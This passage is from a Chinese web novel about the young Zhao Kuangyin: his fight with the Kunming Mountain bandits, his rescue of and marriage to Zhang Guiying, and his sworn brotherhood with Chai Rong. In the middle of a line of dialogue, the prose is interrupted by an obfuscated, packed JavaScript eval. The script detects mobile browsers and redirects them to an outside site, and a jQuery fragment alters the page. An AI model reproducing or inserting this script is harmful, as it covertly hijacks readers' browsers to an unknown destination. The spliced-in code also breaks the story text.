杜夫人赶紧去了后房,拉着贺金蝉问:“金蝉,匡胤回房后,你有没有跟他说什么?他怎么突然不见了?” 贺金蝉这才想起婆婆之前让隐瞒的话,有点害怕地说:“他回房后,问公公怎么了,我就把公公上奏折被打御棍的事告诉他了……今天早上我醒的时候,他就不在了,我还以为他去给您请安了。” 杜夫人听完,吓得腿都软了,赶紧跑出去跟赵弘殷说。赵弘殷一听,脸瞬间变得惨白,连声叫苦:“肯定是这孩子干的!不知道他逃到哪去了,要是能逃掉还好,要是被抓住了,不仅他没命,咱们全家都得死啊!” 杜夫人眼泪一下子就流了下来,哽咽着说:“这可怎么办啊……匡胤怎么这么冲动……” 赵弘殷赶紧喝住她:“别哭了!这孩子不懂事,闯下这么大的祸,你再哭有什么用?要是被人听见了,咱们家就完了!” 杜夫人只能强忍着眼泪,把哭声咽了回去。正是: 骨肉亲情难以割舍,却只能强装笑脸掩饰忧愁。 再说赵匡胤逃出汴梁城后,一路不敢停,像一阵风似的往关西跑。路上没人说话,他只能自己跟自己叹气,心里又慌又孤独。 跑着跑着,前面出现一座高山,山又高又陡,看着就吓人。只见那山: 山峰连着北斗星的方向,山岭接着云霄。山峰连北斗,千年的翠柏透着青色云霞;山岭接云霄,万年的苍松冲向蓝天。险峻的树林和岩石,深邃的山涧和高高的山岗。险峻的树林岩石像猛兽的爪牙,深邃的山涧山岗里藏着老虎豹子。一年四季都长着青色的草,连野鸟都很难飞过那片黑漆漆的树林。 赵匡胤看着这山势,心里想:“这山也太陡了,肯定不好走。”他往山脚下一看,有块石碑立在那儿,上面刻着“昆明山”三个大字,两边还有两行小字,写得清清楚楚: 有人从我的山前过,十个驮货物的,九个得留下。 要是不送买路钱,一刀一个扔在草里躺。 赵匡胤看完,冷笑一声:“原来这儿有强盗拦路抢劫,得小心点才行。” 话音刚落,就听见山顶上“哐”地响了一声锣,一个大王骑着马从山上飞奔下来,后面跟着四五十个喽啰,摇着旗子喊着口号,声音震天响。 赵匡胤一点都不慌,往后退了几步,找了块平坦的地方站定,双手握紧蟠龙棍等着。他仔细打量那个大王,看他穿的什么样: 头戴分八瓣的金凤盔,身披锁子连环黄金甲。大红袍上染着猩猩血似的颜色,腰间系着嵌着宝石的蛮带。腰间袋子里插着弯如龙角的弓,箭壶里插着带雕翎的箭。骑着一匹枣红色的好马,手里拿着一把闪着寒光的钢刀。 那大王下了山坡,一马当先冲到赵匡胤面前,大声喝道:“红脸的汉子!赶紧留下买路钱,我放你过去;要是敢说半个‘不’字,让你马上死在这儿!” 赵匡胤哈哈大笑:“你这毛贼,连眼睛都不长!俺既不是做生意的,也不是满载而归的富人,哪有银子给你?我看你天天抢劫,祸害老百姓,今天算是恶有恶报,碰到我了——你要是想活命,就自己绑起来过来认罪,再把你抢的钱交出来,俺就饶了你;要是执迷不悟,别怪俺下手狠!” 那大王一听,气得脸都红了,嘴里像要冒烟:“好你个小子!你有多大本事,敢说这么大话!”说完,他拍马冲过来,举起钢刀就往赵匡胤头上砍。 赵匡胤赶紧举起蟠龙棍,“铛”的一声挡住了钢刀。一个在马上打,一个在地上打,打得不可开交。只见: 一个举刀当头砍,一个提棍迎面挡。一个在马上施展本事,一个在地上奋力还击。山大王像猛虎扑人,每一刀都往心口砍;真天子像神龙戏水,每一棍都往后背敲。昆明山上有名的拦路强盗,哪肯少一点锐气;汴梁城里出了名的惹祸太岁,哪肯让半点便宜。刀和棍打了几十回合,胜负很快就要分出来了。 赵匡胤的蟠龙棍使得出神入化,一会儿往左挡,一会儿往右打,变化多端。打了五十多个回合后,那大王渐渐没了力气,只能勉强招架,根本没法还手,眼看就要输了。 喽啰们一看情况不对,赶紧跑上山,去报告二大王:“二大王!不好了!大王跟一个红脸汉子打架,快输了!您快去帮忙啊!” 就因为这一报,后来才有了——两次龙威显现,大强盗反而成了心腹帮手;一次偶然相遇,被俘的人恰巧成了身边亲信。正是: 不经过跟强敌较量分高低,怎么能让行踪有地方躲藏。 要知道赵匡胤怎么过这昆明山,且看下回分解。 5. 第 5 章 话说那几个小喽啰见大当家打不过人家,慌慌张张往山上跑,一边跑一边喊着找二当家:“二当家!不好了!大当家在山下巡山,碰到个红脸蛋的后生,要他交买路钱,那后生不肯,俩人就打起来了!可那红脸蛋后生太厉害,大当家快撑不住了,您快下山帮忙啊!” 二当家一听这话,赶紧穿上盔甲、跨上战马,手里握着一杆亮闪闪的银枪,催马就往山下冲。刚到山脚,就看见自家大哥和那后生打得正激烈——大哥手里的刀舞得乱七八糟,明显是落了下风,额头上全是汗,眼看就要被对方的棍子扫到。二当家立马放声喊:“大哥别慌!我来帮你!” 赵匡胤正打得兴起,耳边突然传来这么一嗓子,抽空瞟了一眼,见又来个山贼头子。他心里暗忖:“好家伙,打不过就叫帮手?不过也好,正好让我试试这俩人到底有多少本事,省得耽误我去关西投亲。”再看那二当家的打扮:头上戴着银盔,盔沿下的红缨随着马跑晃来晃去,透着股杀气;身上穿的铁甲在太阳下泛着冷光,腰间系着绣着鸾鸟的宝带,箭壶里插着金杆箭,背后还背着一把铁胎弓;坐下那匹白马跑得飞快,像是能追风似的,他手里举着银枪指点方向,嗓门大得像打雷。 二当家催马冲到近前,举枪就往赵匡胤胸口刺。大当家见兄弟来了,顿时来了精神,咬着牙挥刀又冲了上来。俩打一个,赵匡胤虽说勇猛,可架不住对方是生力军,打了二十多回合,渐渐觉得胳膊发酸,胸口也喘得厉害。他心里正着急,突然觉得头顶一阵发热,像是有什么东西要冒出来——再看那俩山贼头子,吓得眼睛都直了,只见赵匡胤头顶上飘着一条五爪赤须火龙,龙鳞闪着红光,正对着他俩张牙舞爪。 大当家和二当家“扑通”一声就从马上滚下来,跪在地上磕头如捣蒜,声音都发颤:“主公!小的们有眼不识真主,刚才冒犯了您,罪该万死!求主公饶了我们吧!” 赵匡胤愣了一下,手里的蟠龙棍还举着,疑惑道:“你们俩刚才还打得挺凶,怎么突然跪下求饶?是不是想耍什么花招?别废话,起来接着打,分个输赢再说!” 俩人赶紧摆手:“主公您可别冤枉我们!我们真是一时糊涂,没认出您是真命天子,绝不敢耍花招!求您开恩!” 赵匡胤往前迈了一步,问道:“我问你们,你们口口声声叫我‘主公’,到底是为啥?” 二当家抬头看了眼天上的火龙,又赶紧低下头:“刚才您和我们打斗时,这条火龙突然冒出来护着您,这分明是真龙护主啊!您以后肯定能当皇帝!我们愿意归顺您,帮您打江山,求主公收下我们!” 赵匡胤摸了摸下巴,心里也犯嘀咕:“我娘倒是说过我将来有出息,可真龙现身这事……他俩没骗我吧?”于是又问:“你们俩真看见真龙了?” 大当家忙说:“千真万确!我们要是说瞎话,天打五雷轰!” 赵匡胤这才松了口气,把棍子扛在肩上:“不瞒你们说,我是汴梁的赵匡胤。前阵子在京城闹了御勾栏,还杀了十八个女乐,没办法才要去关西投奔亲戚,路过你们这山头,没想到跟二位好汉起了冲突,刚才多有得罪。” 俩人一听这话,眼睛都亮了——大当家赶紧说:“原来您是赵指挥老爷的公子!我们早就听说过您的大名,今天能见到您,真是我们的福气!” 赵匡胤见他俩真心归顺,心里也高兴,赶紧上前把俩人扶起来:“二位快起来,别跪着了。还没问二位高姓大名?” 大当家笑着说:“我们俩是亲兄弟,我叫董龙,他是我弟弟董虎,老家在朔州。我们本来是老实百姓,从小就爱练枪弄棒,也学了点本事。后来县里的贪官要抢我们家的地,我们不服气,跟他们闹了一场,没办法才躲到这山上暂避。主公要是不嫌弃,就去我们山寨住几天,咱们好好聊聊,之后我们再送您上路。” 赵匡胤见董龙说话实在,不像有坏心眼,就点头答应:“既然二位这么热情,那我就去叨扰几天。” 董龙赶紧把赵匡胤的枣骝马牵过来,让他上马,自己和董虎在前面引路,又让小喽啰扛着蟠龙棍跟在后面。一路上山,赵匡胤看着两边的景色——山峰又高又陡,山寨的栅栏又密又结实,心里暗暗佩服:“这俩人倒会选地方,把山寨守得这么严,难怪官府拿他们没办法。” 走了好几个关口,终于到了山寨的大厅“昆明寨”。几人下了马,进了大厅重新见礼。董龙把最中间的虎皮椅子让给赵匡胤坐,自己和董虎坐在两边作陪。丫鬟端上茶来,董龙笑着说:“主公能来我们这荒山,我们也没什么好东西招待,正好寨里有只‘两脚肥羊’,我这就让人杀了给您下酒。” 赵匡胤心里纳闷:“从没听说过羊只有两只脚啊?难道是啥稀罕品种?我得看看才行。”于是故意说:“二位兄弟,我有个习惯,要亲眼看见杀的牲口才吃。既然你们这么客气,不如把那‘肥羊’牵来让我瞧瞧,也让我开开眼。” 董龙立马喊来一个小喽啰:“去把‘肥羊’牵到前院的亭子那,准备开剥!”小喽啰应了一声就跑出去了。赵匡胤坐在椅子上,心里越想越好奇,眼睛一直盯着门口。可等他看见小喽啰“牵”来的东西,顿时吓了一跳——哪里是什么羊,明明是个被绑着双手的人,两个小喽啰架着他的胳膊往前走,还有人端着一盆清水、拿着一把亮闪闪的尖刀,一群人把那人架到亭子旁边的柱子上。 一个小喽啰跑回来跟董龙回话:“大当家,‘肥羊’带来了!” 董龙挥挥手:“快把他的心肝取出来,给主公下酒!” 小喽啰刚要拿刀上前,赵匡胤“噌”地站起来,大声喊:“住手!你们这是干什么?这明明是人,怎么能叫‘肥羊’?” 董龙赶紧解释:“主公您别生气,我们绿林里都这么叫,是怕外人听明白我们的事。” 赵匡胤又指着那盆清水:“那这水是干嘛用的?” 董虎在旁边补充:“回主公,要是拿了‘肥羊’,先拿凉水浇他的头,能让心血凝住,等会儿挖出来的心肝又香又脆,味道特别好。” 赵匡胤听了这话,心里一阵难受:“就算是绿林好汉,也不能随便杀人啊。”他看着柱子上那人吓得发抖的样子,对董龙说:“二位兄弟,我知道你们是好意招待我,可我实在不忍心看着有人因为我送命。你们看在我的面子上,放了他吧,就当我领了你们的情,以后我肯定记着这份恩。” 董龙和董虎对视一眼,赶紧点头:“主公都开口了,我们哪敢不答应!”立马喊小喽啰把人放了。 董龙又冲那人喊:“你这小子,本来是要当我们寨里的口粮,多亏这位主公救你,还不快过来磕头谢恩!” 那人缓了好一会儿,才走到赵匡胤面前跪下,声音带着哭腔:“恩主大人,谢谢您救了我,我这辈子都忘不了您的大恩!” 赵匡胤低头一看,心里又是一惊——这“小子”看着也就十五六岁,皮肤白白的,嘴唇红红的,眉眼长得特别秀气,倒像个姑娘家。他心里琢磨:“难怪这俩山贼这么狠心,原来是把这么个俊后生当‘肥羊’,要是我没来,这孩子早就没命了。”于是温和地问:“你叫什么名字?是做什么的?家在哪里?跟我说实话,我送你回家。” 那人一听能回家,眼泪掉得更凶了:“恩主,我家离这儿四十多里,在张家庄。我爹叫张百万,大家都叫他张员外。我叫张桂英……我爹就我一个女儿,前几天我穿着男装出来春游,没想到被两位当家的带到这儿来,我还以为再也见不到我爹了。幸亏遇到您,您真是我的再生父母!” 赵匡胤这才明白——原来这是个女扮男装的姑娘!他赶紧对董龙说:“既然放了她,就得让人送她下山,不然路上再遇到危险怎么办?” 董龙立马叫来四个靠谱的小喽啰:“你们送张姑娘回张家庄,路上好好护着,别出岔子!” 张桂英站起来,又给赵匡胤磕了个头:“恩主,能不能告诉您的名字?我回家让我爹给您立牌位上香!” 赵匡胤摆摆手:“不用了,你赶紧回家吧,你爹肯定急坏了。” 董虎在旁边插话:“张姑娘,你恩人是东京赵指挥的公子,叫赵匡胤!” 张桂英把名字记在心里,又鞠了一躬:“赵公子,要是您以后路过张家庄,一定要来家里坐坐,我和我爹好好报答您!”说完,才跟着小喽啰下山了。这真是:打开玉笼子,让彩凤凰飞回家;解开金锁,让蛟龙重回江河。 当天晚上,董龙让人摆了好酒好肉,三人边喝边聊。赵匡胤问起董龙兄弟怎么跟贪官结仇的,董龙叹了口气:“去年县里的李县官要征‘人头税’,每家每户都要交,交不上就拿地抵。我们家那几亩地是我爹传下来的,我弟不乐意,就跟差役吵了一架,结果李县官说我们抗税,要抓我们坐牢。我们没办法,才带着几个兄弟逃到这山上,本来只想躲躲,没想到来投奔的人越来越多,就成了现在这样。” 赵匡胤听了,拍着董龙的肩膀:“你们是被逼无奈,不算真的山贼。以后要是有机会,我帮你们跟官府说说,让你们能回家种地。” 董虎一听,激动得站起来:“真的吗?要是能回家,我们再也不待在山上了!” 赵匡胤笑着点头:“我说话算话。”旁边一个叫石敢当的小喽啰正好端菜过来,听见这话,小声说:“主公,我也想跟您走……我老家遭了灾,爹娘都没了,是大当家救了我,可我更想跟着您学本事,以后做个能保护人的好汉。” 赵匡胤看着石敢当,见他也就十七八岁,眼神很真诚,就说:“你年纪还小,先跟着董当家好好练功夫,等你本事够了,要是还想找我,就去关西找我——我以后肯定要干一番事业,到时候少不了用你的地方。”石敢当听了,高兴地直点头。 接下来的半个月,赵匡胤在山寨里过得很自在。白天董龙兄弟陪着他逛山,董虎还拿出自己的银枪,让赵匡胤指点枪法。赵匡胤见董虎的枪法只会硬冲,就教他:“枪法要‘巧’,不是光有力气就行,比如对方刺你胸口,你不用硬挡,往旁边躲一步,再用枪杆敲他的手腕,他的枪自然就掉了。”董虎照着练了几遍,果然管用,对赵匡胤更佩服了。晚上几人就围着火炉喝酒聊天,聊江湖事,聊天下事,倒像亲兄弟一样。 可赵匡胤心里总惦记着去关西投亲——他想:“这山寨再好,也不是我久待的地方。我是个大丈夫,得出去闯一番事业,总不能一直躲在山里。”于是一天早上,他找董龙兄弟说:“二位兄弟,我在这儿叨扰了半个月,心里很感激。可我还要去关西找亲戚,想今天就动身。” 董龙兄弟舍不得,董虎拉着他的胳膊:“主公,再住几天呗!我们还没跟您学够枪法呢!” 赵匡胤笑着摇头:“我也想多待几天,可我还有正事要办。以后我要是有能力了,肯定来找你们,到时候咱们再一起喝酒。” 董龙见他态度坚决,知道留不住,就说:“既然主公要走,我们也不拦着。只是这路上需要盘缠,我们寨里也没什么好东西,这点金银您拿着,就算我们的一点心意。”说着,让小喽啰端来一盘银子和金子。 赵匡胤赶紧推辞:“不用不用,我身上还有盘缠,这些你们留着当寨里的用度吧。” 董龙把金银装进一个布袋子里,塞到赵匡胤手里:“主公,您要是不收,就是嫌我们的东西不好!这钱不多,可也是我们的心意,您拿着路上应急!” 赵匡胤见他这么坚持,只好收下,系在腰上。董龙兄弟亲自送他下山,一直送到山岔路口,董虎还在嘱咐:“主公,路上小心,要是遇到坏人,就报我们昆明寨的名字!” 赵匡胤点点头,催马往关西方向走,心里还想着:“董龙董虎是重情重义的好汉,石敢当也很有上进心,以后有机会,一定要把他们收在身边。” 走了大概半天,天上突然乌云密布,太阳也被遮住了。没一会儿,就刮起了风,细雨“淅淅沥沥”地落下来,很快就把路打湿了。赵匡胤赶紧催马往前跑,远远看见前面有片树林,树林旁边有个大庄院,就赶紧跑过去躲雨。 他刚站在庄院门口,雨就下大了,风也刮得更猛,把他的衣服全淋湿了,冷得他直打哆嗦。正烦着呢,就听见庄院里传来脚步声——一个穿着青布衣裙的丫鬟端着洗衣盆出来,看样子是要收晾在院里的衣服。那丫鬟抬头看见赵匡胤,吓了一跳,手里的盆差点掉在地上。她仔细打量了赵匡胤一会儿:这人虽然浑身湿透,可腰杆挺得笔直,手里的棍子看着就不一般,不像坏人。 丫鬟赶紧跑回去,对着正坐在客厅里喝茶的张员外喊:“老爷!老爷!门口有个红脸蛋的公子,浑身都湿透了,看着像您说的那位救了小姐的恩人!” 张员外一听,手里的茶杯“哐当”一声放在桌上,赶紧拿起伞就往外跑——原来张桂英回家后,把赵匡胤救她的事一五一十告诉了爹,还说恩人是红脸蛋、用一根棍子,张员外就天天让家丁在门口看着,就怕错过恩人。 张员外跑到门口,一看赵匡胤的样子,赶紧拱手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519270|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这位公子,您是不是东京来的赵匡胤赵公子?” 赵匡胤又惊又喜:“我就是赵匡胤。老丈您怎么认识我?” 张员外拉着他的手,把伞往他那边挪了挪:“公子快进家!我是张桂英的爹张天禄,我女儿都跟我说了,是您救了她!快跟我进屋暖和暖和!”说着,喊来家丁把赵匡胤的行李和蟠龙棍拿进去,自己陪着赵匡胤往屋里走。 进了客厅,张员外赶紧让丫鬟拿一套干净衣服来:“公子,您快把湿衣服换了,别冻着。”赵匡胤接过衣服,是一套青色的绸子衣裤,还有一顶青色的头巾,换好衣服后,顿时觉得暖和多了。 俩人重新坐下,丫鬟端上热茶,赵匡胤喝了一口,才问道:“张员外,我们素不相识,您这么客气,我心里实在过意不去。您怎么知道是我救了令爱?” 张天禄叹了口气:“公子有所不知,我就桂英一个女儿,她被掳走后,我天天在家哭,以为再也见不到她了。后来她回来,跟我说救她的是个红脸蛋的公子,用一根棍子,还叫赵匡胤,是东京赵指挥的儿子。我就天天让家丁在门口看着,就盼着能遇到您,好报答您的救命之恩。今天能见到您,真是老天保佑!” 赵匡胤这才明白,笑着说:“原来是这样,我也是碰巧遇到令爱,举手之劳而已,您不用这么客气。” 张天禄赶紧喊丫鬟:“去后院告诉小姐,就说救她的赵公子来了,请她出来见客。”丫鬟应了一声就往后院跑。 没一会儿,就听见环佩叮当的声音——张桂英穿着一身淡粉色的衣裙,头上插着一支珍珠簪子,慢慢走了出来。她本来就长得秀气,这一打扮,更像朵刚开的桃花。赵匡胤偷偷看了一眼,心里暗赞:“没想到张姑娘这么漂亮,那天她穿男装,我还没看出来。” 张桂英走到赵匡胤面前,深深鞠了一躬,声音轻轻的:“赵公子,谢谢您救了我。要是没有您,我早就不在人世了。”说着,就要跪下磕头。 赵匡胤赶紧站起来扶她:“张姑娘别多礼,快起来!我只是做了该做的事。” 张天禄在旁边笑着说:“公子,您是我女儿的再生父母,让她给您磕个头也是应该的!”话虽这么说,还是伸手把女儿扶了起来。 张桂英站起来,脸有点红,小声说:“公子,我之前说过要报答您,我……我给您备了鞍马,想给您当坐骑,也算践了我的诺言。” 赵匡胤一听,赶紧摆手:“张姑娘,你这就太客气了!我有马,再说你是千金小姐,怎么能做这种事?快别这么说。” 张天禄也劝道:“女儿,赵公子是君子,不会让你这么做的。你有这份心就够了。”张桂英这才点点头,红着脸让丫鬟把鞍马撤下去。 当天中午,张天禄让人摆了丰盛的宴席,俩人边吃边聊。张天禄问起赵匡胤的打算,赵匡胤说:“我本来要去关西投亲,没想到路上遇到这些事,现在还没到地方。” 张天禄听了,心里有了个主意——他看着赵匡胤,觉得这小伙子又正直又勇猛,女儿要是能嫁给她,以后肯定有依靠。可又怕赵匡胤不同意,于是喝了口酒,壮着胆子说:“公子,我有句话想跟您说,要是有冒犯的地方,您别见怪。” 赵匡胤放下筷子:“张员外您尽管说,我听着。” 张天禄叹了口气:“我今年五十多了,没有儿子,就桂英一个女儿。我一直想给她找个好婆家,可看了好多人,都觉得不合适。公子您为人正直,又有本事,我想……想把桂英许配给您,让她跟着您,我也能放心。不知道公子您愿不愿意?” 赵匡胤一听,愣住了——他心里琢磨:“我现在是逃犯,要是娶了张姑娘,会不会连累张家?可张员外这么诚心,张姑娘又善良漂亮,而且我现在也没个安身之处,要是答应了,既能有个家,也能报答张家的恩情……”想了一会儿,他站起来给张天禄鞠了一躬:“张员外,谢谢您看得起我。只是我现在背井离乡,连聘礼都拿不出来,怕委屈了张姑娘。” 张天禄赶紧摆手:“公子说什么话!我是真心想把女儿嫁给您,哪要什么聘礼!只要您对桂英好,我就满意了。”说着,让人拿来历书,翻了几页,高兴地说:“太好了!今天就是黄道吉日,正好能成亲!” 赵匡胤没想到这么快,心里又惊又喜,点头答应:“全听张员外的安排。” 张天禄立马忙起来——让家丁去村里请傧相和鼓乐手,让丫鬟给张桂英准备嫁衣,又让人把新房收拾出来,贴上红喜字。整个张家庄都热闹起来,乡邻们听说张员外的女儿要嫁给救她的好汉,都来帮忙。 到了傍晚吉时,张桂英穿着大红嫁衣,盖着红盖头,被丫鬟扶着出来。赵匡胤穿着新做的红袍,手里牵着红绸的一头,和张桂英一起拜天地、拜高堂,最后夫妻对拜。鼓乐声、鞭炮声、欢呼声混在一起,整个张家都喜气洋洋的。 拜完堂,赵匡胤把张桂英送进新房。他掀开盖头,见张桂英脸红得像苹果,眼睛亮晶晶的,心里也甜滋滋的。张桂英小声说:“赵郎,以后我就跟着你了,你可不能欺负我。” 赵匡胤握着她的手,认真地说:“桂英,我以后肯定好好待你,绝不会让你受委屈。” 婚后的日子,赵匡胤过得很舒心。白天他要么陪着张天禄在客厅聊天下事,要么教张桂英下棋——张桂英棋下得好,赵匡胤常常输给她,每次输了,张桂英就笑得眼睛弯成月牙;有时候赵匡胤也会在后院练棍,张桂英就坐在旁边看,还会递水给他。晚上俩人一起在院子里看月亮,张桂英给赵匡胤缝衣服,赵匡胤给她讲自己在东京的事。 不知不觉,赵匡胤在张家庄住了四个多月。这天他没事,出门散步,走着走着,就到了村外的田野。秋天到了,梧桐叶飘落在地上,路边的花草也没了夏天的热闹,蝉鸣声断断续续的,偶尔有几只大雁往南飞。一阵秋风吹过,赵匡胤觉得心里很清爽,可又有点恍惚——他想:“我在这儿住得很舒服,可我不能一直这样下去。我是个大丈夫,得出去干一番事业,不能只守着小家。” 正想着,突然看见天上飘来两朵彩色的祥云,祥云里好像有什么东西在闪。赵匡胤盯着祥云看,心里琢磨:“这祥云是不是在提醒我?也许我该离开张家庄,去关西找机会了……” 可一想到张桂英和张天禄,他又有点舍不得——这真是:相聚和分离都是老天注定的,不管人怎么计划,都逃不过命运的安排。 到底祥云里藏着什么?赵匡胤又会怎么选择?咱们下回再说。 6. 第 6 章 话说赵匡胤在张家庄和张桂英小姐成婚后,不知不觉就过了四个多月。这日天朗气清,他想着在家闷了许久,便换了身轻便衣衫,出门四处游玩。走着走着,他忽然抬头望向天空,眼睛一下子就直了——半空中竟飘着两朵奇怪的祥云,一朵是墨黑色,一朵是明黄色,在晴空中格外扎眼。 那朵黑云底下,隐约显出一只斑斓黑虎,爪子张着、牙齿露着,像是要扑下来似的;而黄云下面,竟盘旋着一条五爪黄龙,龙身舒展,鳞片在阳光下泛着微光,正慢慢升腾。赵匡胤心里顿时打了个突,暗自嘀咕:“这难道是哪里来的妖怪在作法?不然怎么会有这么怪异的景象?”可转念又想:“就算是妖怪,青天白日的,它也不敢随便出来作乱吧?不如我往前走走,看看这云和龙虎到底是从哪来的,也好弄个明白。” 他加快脚步往前赶,离祥云越来越近,眯着眼仔细一瞧,才发现哪里是什么妖怪——黑云底下根本不是黑虎,而是个身材偏高的汉子,挑着两只油篓,正从一个积水的土坑边快步走过。那汉子走得急急忙忙,额头上渗着汗,像是有什么要紧事,转了两个弯,身影就消失在树林后面了。随着他走远,空中的黑云也渐渐散了。 这里得跟各位说一句,这挑油篓的汉子可不是普通人,他是黑虎财神下凡,平日里靠卖香油过活。这天本是要去销金桥赶集,走了一半才发现忘带了卖油时用的梆子,正急着回去取呢。后来他在九曲湾救了赵匡胤,又在禅州城和众人结义,才算真正显露出本事。这些都是后话,咱们暂且不表。 再说赵匡胤,见黑云散了,又朝着黄云飘来的方向慢慢走。走到一个三岔路口时,他看见路边陷在浅浅的淤泥里的一辆车——车上装的全是雨伞,车旁站着个汉子,正使劲儿推着车。那汉子头戴一顶绫绵杆编的草帽,身上穿件月白色的紧身布衫,看着相貌端正,身材也结实,可就是力气好像不太够用。他涨红了脸,双手死死抓着车把,腰弯得像张弓,嘴里还哼哧哼哧地使劲,可那车就像长在了淤泥里似的,一动也不动。 推了好一会儿,那汉子实在没力气了,气得往地上啐了一口,额头上的青筋都蹦了起来。就在这时,赵匡胤忽然看见汉子头顶上“呼”地冒出一团黄气,黄气里竟显出一条五爪黄龙,在空中慢慢转了一圈。赵匡胤心里咯噔一下,想起小时候听相士说过的话:“凡人要是有蛇形气脉锁住七窍,将来定能当诸侯;要是有真龙现身护佑,那就是要做皇帝的命。”他盯着那汉子,心里琢磨:“这人头顶有真龙现身,日后肯定是个有大福气的。我不如帮他把车从泥里拉出来,跟他结个朋友,以后互相照应,想来他也不会辱没了我。” 拿定主意,赵匡胤快步上前,刚走到汉子身边,那头顶的黄云和黄龙就慢慢隐没了。他开口喊道:“朋友,别着急,我来帮你一把!”说完,他撩起衣角,纵身跳进淤泥里,双手紧紧攥住车前端的横木,一边往上抬,一边往后拽。只听“吱呀”一声,那辆车竟被他轻轻拉出了淤泥,稳稳地放在了旁边的平坦路上。 再看那推车的汉子,早已累得浑身是汗,连后背的衣衫都湿透了。他松开肩上的车绳,揉了揉胳膊,喘了好一会儿才定下神,赶紧堆起笑脸,对着赵匡胤深深作了个揖:“敢问壮士高姓大名?多谢你出手相助,不然我今天怕是要困在这儿了。” 赵匡胤摆摆手,笑着说:“小弟家住汴梁,是赵指挥的儿子,名叫赵匡胤,表字元朗。不知足下贵姓大名,家乡在哪里?” 那汉子一听,又作了个揖,语气里满是恭敬:“原来是赵公子!久仰您的英名,我早就想拜见您了,今天能遇上,真是三生有幸。我原籍是徽州,后来搬到沧州横海郡居住,姓柴名荣,表字君贵。我先祖也曾做过官,管过百姓,我父亲后来就靠经商过日子。可惜我现在孤身一人,没什么本事,只能靠贩卖雨伞混口饭吃。刚才车陷在泥里,要是没有公子帮忙,我根本拉不出来。看您的靴子都被淤泥弄脏了,我理应赔您一双新的。” 赵匡胤听了,哈哈一笑:“柴兄这话就见外了!四海之内皆兄弟,帮人解围是应该的。这靴子值不了几个钱,不用放在心上。前面就是我岳丈家的庄子,要是你不嫌弃,就跟我过去喝杯茶,歇歇脚。” 柴荣见赵匡胤这么讲义气,实在不好推辞,便说:“那我就恭敬不如从命,跟您去拜访一下。”说完,他把车绳重新搭在肩上,准备推车。赵匡胤见状,解下腰间的鸾带,拴在车前端的横木上,帮着柴荣一起拉车,两人并肩朝着张家庄走去。 刚走了没多远,就听见远处传来“哒哒”的马蹄声。两人抬头一看,只见两匹马从东边飞快地奔来,马背上各坐着一个壮汉。等马走近了,那两人勒住缰绳,翻身下马。赵匡胤仔细一看,原来是自己的结义兄弟张光远和罗彦威。 赵匡胤赶紧上前和两人见礼,又把柴荣拉过来,介绍道:“这位是柴荣柴兄,是我刚认识的朋友,为人正直,咱们以后就是兄弟了。”张光远和罗彦威连忙上前和柴荣见礼,几人很快就熟络起来。 张光远拉着赵匡胤的手,语气急切地说:“大哥,自从那天咱们在勾栏院里喝醉了,后来下冰雹散了之后,第二天我就听说院里死了十八个女乐。我赶紧去你家找你,却没见到你,问你家的管家,他又不肯说你去了哪里。我只好偷偷打听,才知道那件事是你做的。我没敢跟别人说,就到处找你,可一直没找到。前几天我遇到了京里开相馆的苗先生,就让他给你算了一卦。他说‘风云未遂平生志,魔障怎开眉际欢’,还说要是想找你,就得往关西去。我和彦威担心你出门急,没带够盘缠,又怕这事牵连到我们,被人抓去问话,就带了些银子,一路往关西找你,没想到在这儿遇上你,还看见你帮人推车,真是苦了你了。” 赵匡胤拍了拍两人的肩膀,说:“两位贤弟有心了。咱们先去前面的庄上,到了那儿再慢慢说。”于是四人一起,有的拉车,有的牵马,很快就到了张家庄门口。进了庄门,来到大厅,几人互相谦让着坐下。赵匡胤吩咐管家张忠,把雨伞车推到后院的厂房里放好,再把马牵到后槽喂料,又让丫鬟春桃端上茶水。 喝了几杯茶,赵匡胤把自己和张光远、罗彦威分开后发生的事,一五一十地说了——包括怎么在张家庄入赘,娶了张桂英,还有刚才遇到柴荣、帮他拉车的经过。说完,他看向柴荣,笑着说:“柴兄,咱们今天虽是萍水相逢,可我觉得跟你特别投缘,这真是上天安排的缘分。人生最快乐的事,莫过于结交知己。我想咱们四人结为兄弟,比亲同胞还亲,就像汉朝刘备、关羽、张飞桃园结义那样,你看怎么样?” 柴荣一听,连忙摆手,脸上露出几分自卑:“三位仁兄都是富贵人家的子弟,我就是个普通百姓,身份低微,怎么敢高攀你们,耽误你们的前程呢?” 赵匡胤皱了皱眉,认真地说:“柴兄这话就不对了!你没听说过吗?当年汉高祖刘邦和西楚霸王项羽,一开始都是普通百姓,他们还拜过把子呢,后来一个成了皇帝,一个成了霸王,平定了天下。这都是过去的例子,说明交朋友不能看身份高低、有没有钱。我已经拿定主意了,柴兄你就别推辞了。” 说着,赵匡胤就让张忠去镇上买些猪、牛、羊三牲,还有香烛纸钱,在大厅里摆上供桌。柴荣见赵匡胤这么诚恳,要是再推辞,就显得太不识抬举了,只好答应。四人先报了自己的家乡、姓名和生辰八字——柴荣年纪最大,是大哥;赵匡胤排第二;张光远第三;罗彦威最小,排第四。 一切准备就绪,四人跪在香案前,一起高声说道:“我们四人,虽然姓氏不同,但情同手足。从今往后,要互相帮助,救济困难的人,同心协力;要帮助弱小,铲除豪强,不生二心。将来要是有人当了官,大家一起做官;要是有马骑,大家一起骑马。如果谁有坏心思,就让上天惩罚他。” 发誓完,四人又按年纪大小,互相拜了八拜,然后把供品撤下,送了神,才回到座位上继续聊天。这真是:若不是今天结下深厚情,哪来日后的生死义? 这时柴荣看向赵匡胤,说:“二弟,这里既然是你岳丈家,不如把老人家请出来,我们拜见一下,这才符合礼数。”赵匡胤点点头,让春桃去后院请张员外。 